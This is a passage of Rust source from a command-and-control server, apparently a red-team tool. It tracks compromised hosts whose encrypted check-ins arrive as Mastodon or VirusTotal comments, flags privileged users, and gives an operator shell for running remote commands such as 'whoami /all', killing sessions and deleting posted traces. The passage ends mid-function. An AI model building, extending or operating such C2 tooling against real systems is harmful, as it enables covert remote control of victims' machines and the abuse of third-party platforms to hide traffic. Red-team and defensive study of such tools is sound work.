84 | }
85 | }
86 |
87 | /// Function to attach session id
88 | pub fn background_sessions(
89 | env: &mut Environnement,
90 | ) {
91 | env.selected_session_id = 0;
92 | println!("Session in background..");
93 | }
94 |
95 |
96 | /// Function to parse and push sessions in the vector
97 | fn parse_sessions(
98 | default_args: &Options,
99 | result_spoiler: Vec,
100 | result_content: Vec,
101 | sessions: &mut Vec,
102 | ) {
103 | let mut already_get = false;
104 | for i in 0..result_content.len() {
105 | let (_msg_type, session_hash, _job_hash) = parse_session_spoiler(&result_spoiler[i]);
106 | for j in 0..sessions.len() {
107 | if sessions[j].hash.contains(&session_hash) {
108 | trace!("Session '{}' already saved..",&session_hash);
109 | already_get = true;
110 | }
111 | }
112 | if !already_get {
113 | let (username, hostname, os) = parse_newsessioninfo(&result_content[i], &default_args.key);
114 | sessions.push(
115 | Session {
116 | id: (sessions.len() as u32 + 1),
117 | hash: session_hash.to_owned(),
118 | user: username,
119 | hostname: hostname,
120 | os: os,
121 | available: true,
122 | }
123 | );
124 | }
125 | }
126 | }
127 |
128 | /// Function to display sessions
129 | pub fn display_sessions(sessions: &mut Vec) {
130 | if sessions.len() != 0 {
131 | for session in sessions {
132 | if session.available == true {
133 | let mut username = session.user.green().bold();
134 | if session.user.to_lowercase().contains("root") || session.user.to_lowercase().contains("system") || session.user.to_lowercase().contains("administrat") {
135 | username = session.user.red().bold()
136 | }
137 | println!("{:<4}{}","",
138 | format!("SESSION_ID:{:<2} HASH:{:<8} USER:{:<8} HOSTNAME:{:<18} OS:{:15}",
139 | (session.id).to_string().green().bold(),
140 | (session.hash).to_string().green().bold(),
141 | username,
142 | session.hostname.green().bold(),
143 | session.os.green().bold(),
144 | )
145 | );
146 | }
147 | }
148 | } else {
149 | println!("No sessions..");
150 | }
151 | }
152 |
153 | /// Function to delete all jobs for the current session
154 | pub async fn remove_all_jobs_for_all_sessions(
155 | default_args: &Options,
156 | ) {
157 | match &default_args.social {
158 | Social::Mastodon => {
159 | // Remove QUES: and RESP: / PART: for job hash
160 | let (url, _username, topic) = rec2mastodon::parse_mastodon_url(&default_args.url);
161 | // QUES
162 | let (_result_spoiler,_result_content,_in_reply_to_id,post_id) = rec2mastodon::mastodon_get_topic_comments(
163 | &url,
164 | default_args.token.to_string(),
165 | topic.to_owned(),
166 | format!("QUES:",).to_string(),
167 | ).await;
168 | for id in post_id {
169 | rec2mastodon::remove_mastodon_comment(
170 | &url,
171 | default_args.token.to_string(),
172 | id.to_owned(),
173 | ).await;
174 | debug!("Comment ID:{} deleted!",id);
175 | }
176 | // RESP
177 | let (_result_spoiler,_result_content,_in_reply_to_id,post_id) = rec2mastodon::mastodon_get_topic_comments(
178 | &url,
179 | default_args.token.to_string(),
180 | topic.to_owned(),
181 | format!("RESP:",).to_string(),
182 | ).await;
183 | for id in post_id {
184 | rec2mastodon::remove_mastodon_comment(
185 | &url,
186 | default_args.token.to_string(),
187 | id.to_owned(),
188 | ).await;
189 | debug!("Comment ID:{} deleted!",id);
190 | }
191 | // PART
192 | let (_result_spoiler,_result_content,_in_reply_to_id,post_id) = rec2mastodon::mastodon_get_topic_comments(
193 | &url,
194 | default_args.token.to_string(),
195 | topic.to_owned(),
196 | format!("PART:",).to_string(),
197 | ).await;
198 | for id in post_id {
199 | rec2mastodon::remove_mastodon_comment(
200 | &url,
201 | default_args.token.to_string(),
202 | id.to_owned(),
203 | ).await;
204 | debug!("Comment ID:{} deleted!",id);
205 | }
206 | println!("All topic status removed on Mastodon!");
207 | }
208 | _ => {
209 | error!("Remove all jobs not configured for Social::{:?}",&default_args.social);
210 | }
211 | }
212 | }
213 |
214 | /// Function to delete all jobs for the current session
215 | pub async fn kill_session(
216 | default_args: &Options,
217 | session_id: u32,
218 | sessions: &mut Vec,
219 | ) {
220 | match &default_args.social {
221 | Social::Mastodon => {
222 | //TODO
223 |
224 | }
225 | Social::VirusTotal => {
226 | // Remove sessions from external network and in Vec
227 | if session_id == 0 {
228 | println!("{:<4}{} for more information","","kill --help".bold());
229 | }
230 | else {
231 | let (_url,vtype, resource_id) = rec2virustotal::parse_virustotal_url(&default_args.url);
232 | let mut disabled = false;
233 | for session in sessions {
234 | if session.id == session_id {
235 | let (_result_spoiler,_result_content,post_id) = rec2virustotal::virustotal_get_comments(
236 | &default_args.token,
237 | &resource_id,
238 | &vtype,
239 | format!(":{}",&session.hash).to_string(),
240 | ).await;
241 | for id in post_id {
242 | rec2virustotal::virustotal_delete_topic_comment(
243 | &default_args.token,
244 | &id,
245 | ).await;
246 | debug!("Unlink session ID:{} with comment ID:{} deleted!",&session.hash,&id);
247 | println!("Session {}:{} killed!",&session_id.to_string().red().bold(),&session.hash.red().bold());
248 | disabled =true;
249 | }
250 | session.available = false;
251 | }
252 | }
253 | if !disabled {
254 | error!("No session to kill with this ID..");
255 | }
256 | }
257 | }
258 | _ => {
259 | error!("Kill session function not configured for Social::{:?}",&default_args.social);
260 | }
261 | }
262 | }
263 |
264 | /// Function to parse new session format
265 | fn parse_newsessioninfo(content: &String, aes_key: &String) -> (String, String, String) {
266 | // Decode hexa data in Mastodon comment
267 | let decoded = common::display_vecu8(&crypto::aes_decrypt(&hex::decode(&content.to_owned().to_string()).unwrap()[..], &aes_key.as_bytes()));
268 |
269 | // Parse it to get Username
270 | let re = Regex::new(r"^([a-zA-Z0-9@\-_+/\.\s]{2,}):-:[a-zA-Z0-9@\-_+/\.\s]{2,}:-:[a-zA-Z0-9@\-_+/\.\s]{2,}").unwrap();
271 | let caps = re.captures(&decoded.as_str()).unwrap();
272 | let hostname = caps.get(1).map_or("", |m| m.as_str()).to_string();
273 | trace!("{}",format!("{:<15}: {}","HOSTNAME:".cyan().bold(),&hostname));
274 |
275 | // Parse it to get Hostname
276 | let re = Regex::new(r"^[a-zA-Z0-9@\-_+/\.\s]{2,}:-:([a-zA-Z0-9@\-_+/\.\s]{2,}):-:[a-zA-Z0-9@\-_+/\.\s]{2,}").unwrap();
277 | let caps = re.captures(&decoded.as_str()).unwrap();
278 | let username = caps.get(1).map_or("", |m| m.as_str()).to_string();
279 | trace!("{}",format!("{:<15}: {}","USERNAME".cyan().bold(),&username));
280 |
281 | // Parse it to get OS
282 | let re = Regex::new(r"^[a-zA-Z0-9@\-_+/\.\s]{2,}:-:[a-zA-Z0-9@\-_+/\.\s]{2,}:-:([a-zA-Z0-9@\-_+/\.\s]{2,})").unwrap();
283 | let caps = re.captures(&decoded.as_str()).unwrap();
284 | let os = caps.get(1).map_or("", |m| m.as_str()).to_string();
285 | trace!("{}",format!("{:<15}: {}","OS".cyan().bold(),&os));
286 |
287 | return (username, hostname, os)
288 | }
289 |
290 | /// Function to parse session spoiler
291 | fn parse_session_spoiler(spoiler: &String) -> (String, String, String) {
292 | let re = Regex::new(r"^([A-Z0-9]{4,}):[a-zA-Z0-9]{8}:[a-zA-Z0-9]{6}:").unwrap();
293 | let caps = re.captures(&spoiler).unwrap();
294 | let msg_type = caps.get(1).map_or("", |m| m.as_str()).to_string();
295 | debug!("{}",format!("{:<15}: {}","MSG_TYPE:".cyan().bold(),&msg_type));
296 |
297 | let re = Regex::new(r"^[A-Z0-9]{4,}:([a-zA-Z0-9]{8}):").unwrap();
298 | let caps = re.captures(&spoiler).unwrap();
299 | let session_hash = caps.get(1).map_or("", |m| m.as_str()).to_string();
300 | debug!("{}",format!("{:<15}: {}","SESSION_HASH".cyan().bold(),&session_hash));
301 |
302 | let re = Regex::new(r"^[A-Z0-9]{4,}:[a-zA-Z0-9]{8}:([a-zA-Z0-9]{6}):").unwrap();
303 | let caps = re.captures(&spoiler).unwrap();
304 | let job_hash = caps.get(1).map_or("", |m| m.as_str()).to_string();
305 | debug!("{}",format!("{:<15}: {}","JOB_HASH".cyan().bold(),&job_hash));
306 |
307 | return (msg_type, session_hash, job_hash)
308 | }
--------------------------------------------------------------------------------
/server/src/c2/shell.rs:
--------------------------------------------------------------------------------
1 | //! Shell implementation
2 | use log::{debug,trace,error};
3 | use std::process;
4 | use std::time::Duration;
5 | use colored::*;
6 |
7 | use rustyline::error::ReadlineError;
8 | use rustyline::{Result,DefaultEditor};
9 | use shellwords::split;
10 |
11 | use clap::{Arg, ArgMatches, ArgAction, value_parser, Command};
12 | use crate::args::{Options,Social};
13 | use crate::c2::sessions::{Session,remove_all_jobs_for_all_sessions,kill_session};
14 | use crate::c2::jobs::Job;
15 | use crate::c2::{get_sessions, set_session, background_sessions, display_sessions, display_jobs, exec_command, get_output_command};
16 | use crate::modules::{rec2mastodon,rec2virustotal};
17 |
18 | /// Default timeout after which tasks are backgrounded
19 | pub const EXEC_TIMEOUT: Duration = Duration::from_secs(60);
20 | /// Program succeeded.
21 | pub const EXIT_SUCCESS: i32 = 0;
22 | /// Program failed.
23 | pub const EXIT_FAILURE: i32 = 1;
24 |
25 | /// Modes exec, list, getoutput
26 | #[derive(Debug)]
27 | pub enum Mode {
28 | Infos,
29 | Exec,
30 | ListSessions,
31 | SetSessions,
32 | Background,
33 | ListJobs,
34 | GetOutput,
35 | Clear,
36 | Kill,
37 | Exit,
38 | Unknown,
39 | }
40 |
41 | /// Rustyline args
42 | #[derive(Debug)]
43 | pub struct Commands {
44 | pub mode: Mode,
45 | pub session_id: u32,
46 | pub job_id: u32,
47 | pub cmd: String,
48 | }
49 |
50 | /// Rustyline args
51 | #[derive(Debug)]
52 | pub struct Environnement {
53 | pub selected_session_id: u32,
54 | pub information_target: String,
55 | }
56 |
57 | // New empty command line for shell
58 | impl Commands {
59 | pub fn new() -> Option {
60 | Some(Commands {
61 | mode: Mode::Unknown,
62 | session_id: 00000,
63 | job_id: 00000,
64 | cmd: "no set".to_string(),
65 | })
66 | }
67 | }
68 |
69 | /// Represents an interactive shell.
70 | #[allow(dead_code)]
71 | pub struct Shell {
72 | /// Initiale arguments from shell (token; url; aes key;)
73 | sargs: Options,
74 | }
75 |
76 | impl Shell {
77 | /// Instantiates terminal with social network mode
78 | pub async fn new(common_args: Options) -> Self {
79 | Shell {
80 | sargs: common_args,
81 | }
82 | }
83 |
84 | /// Start shell
85 | pub async fn run(&self) {
86 | // Read lines from shell
87 | Self::read_line(&self.sargs)
88 | .await
89 | .ok();
90 | }
91 |
92 | /// Clap arguments in readlines shell
93 | fn cli() -> Command {
94 | Command::new("server")
95 | .about("Rusty External Command and Control, server")
96 | .subcommand_required(true)
97 | .arg_required_else_help(true)
98 | .allow_external_subcommands(true)
99 | .subcommand(Command::new("infos")
100 | .about("Get server C2 informations (url, token, aes key and more)")
101 | )
102 | .subcommand(Command::new("sessions")
103 | .about("List all sessions or select one session")
104 | .arg(Arg::new("id")
105 | .short('i')
106 | .long("id")
107 | .help("session ID to select")
108 | .required(false)
109 | .value_parser(value_parser!(u32))
110 | )
111 | )
112 | .subcommand(Command::new("background")
113 | .about("Put current session in the background")
114 | )
115 | .subcommand(Command::new("jobs")
116 | .about("List all jobs")
117 | )
118 | .subcommand(Command::new("clear")
119 | .about("Clear current topic")
120 | )
121 | .subcommand(Command::new("exit")
122 | .about("Quit server")
123 | )
124 | .subcommand(
125 | Command::new("exec")
126 | .about("Execute command on one session")
127 | .arg(Arg::new("id")
128 | .short('i')
129 | .long("id")
130 | .help("Session ID where to run command\nOptionnal if you already have session attached\n\nexec -i 1 -c \"whoami /all\"")
131 | .required(false)
132 | .value_parser(value_parser!(u32))
133 | )
134 | .arg(Arg::new("command")
135 | .short('c')
136 | .long("command")
137 | .help("Command to execute")
138 | .required(true)
139 | .action(ArgAction::Append)
140 | )
141 | )
142 | .subcommand(
143 | Command::new("get")
144 | .about("Get command output from one job")
145 | .arg(Arg::new("id")
146 | .short('i')
147 | .long("id")
148 | .help("Job ID link to command line")
149 | .required(true)
150 | .value_parser(value_parser!(u32))
151 | )
152 | )
153 | .subcommand(
154 | Command::new("kill")
155 | .about("Kill one session")
156 | .arg(Arg::new("id")
157 | .short('i')
158 | .long("id")
159 | .help("Session ID to kill")
160 | .required(true)
161 | .value_parser(value_parser!(u32))
162 | )
163 | )
164 | }
165 |
166 | /// Parsing clap arguments
167 | pub fn from_args(
168 | args: &[String],
169 | env: &mut Environnement,
170 | ) -> clap::error::Result